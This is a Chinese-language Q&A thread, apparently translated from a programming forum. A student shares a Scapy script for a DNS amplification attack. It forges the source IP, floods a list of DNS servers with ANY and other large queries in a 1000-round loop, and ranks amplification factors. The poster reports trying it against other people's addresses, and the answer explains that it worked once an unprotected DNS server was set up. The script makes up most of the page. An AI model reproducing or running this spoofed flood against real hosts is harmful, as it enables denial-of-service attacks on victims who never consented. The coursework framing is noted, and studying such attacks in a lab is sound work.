DNS放大攻击在本地有效,但在网络上失败

问题描述 投票:0回答:1

我有来自 https://gist.github.com/thom-s/7b3fcdcb88c0670167ccdd6ebca3c924 的代码,我修改了一些小东西来重新创建 DNS 放大攻击。这是学校作业。当我使用其他人的 IP 地址运行脚本时,Wireshark 中没有任何反应,也没有 DNS 响应。在我的电脑上,Wireshark 中的 DNS 请求是可见的。是我的互联网服务提供商阻止了它,还是我的程序阻止了它?

代码如下:

# Imports
from scapy.all import *
from pprint import pprint
import operator

# Parameters
interface = "eth0"  # Interface you want to use
dns_source = "local-ip"  # IP of that interface
dns_destination = ["ip1", "ip2", "ip3"]  # List of DNS Server IPs

time_to_live = 128  # IP TTL
query_name = "google.com"  # DNS Query Name
query_type = ["ANY", "A", "AAAA", "CNAME", "MX", "NS", "PTR", "CERT", "SRV", "TXT", "SOA"]  # DNS Query Types

# Initialise variables
results = []
packet_number = 0

for i in range(1000):
# Loop through all query types then all DNS servers
    for i in range(0, len(query_type)):
        for j in range(0, len(dns_destination)):
            packet_number += 1

            # Craft the DNS query packet with scapy
            packet = IP(
                src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1,
                qd=DNSQR(qname=query_name,
                qtype=query_type[
                i]))

            # Sending the packet
            try:
                query = sr1(packet, iface=interface, verbose=False, timeout=0.01)
                print("Packet #{} sent!".format(packet_number))
            except:
                print("Error sending packet #{}".format(packet_number))

            # Creating dictionary with received information
            try:
                result_dict = {
                    'dns_destination': dns_destination[j],
                    'query_type': query_type[i],
                    'query_size': len(packet),
                    'response_size': len(query),
                    'amplification_factor': (len(query) / len(packet)),
                    'packet_number': packet_number
                }
                results.append(result_dict)
            except:
                pass

# Sort dictionary by the amplification factor
results.sort(key=operator.itemgetter('amplification_factor'), reverse=True)

# Print results
pprint(results)

我们尝试了热点和其他网络,我们搞乱了 IP 地址。什么都没起作用。我们尝试了该代码的不同版本,但原理相同,但没有任何效果。

python networking dns scapy ddos
1个回答
0
投票

我们已经解决了问题。您需要自己的未受保护的网络和未受保护的 DNS 服务器。我们使用树莓派创建了一个不安全的 DNS 服务器,如果我们发送 DNS 查询,我们就会收到欺骗性 IP 地址的响应。我们使用的代码仍然是上面的代码。

© www.soinside.com 2019 - 2024. All rights reserved.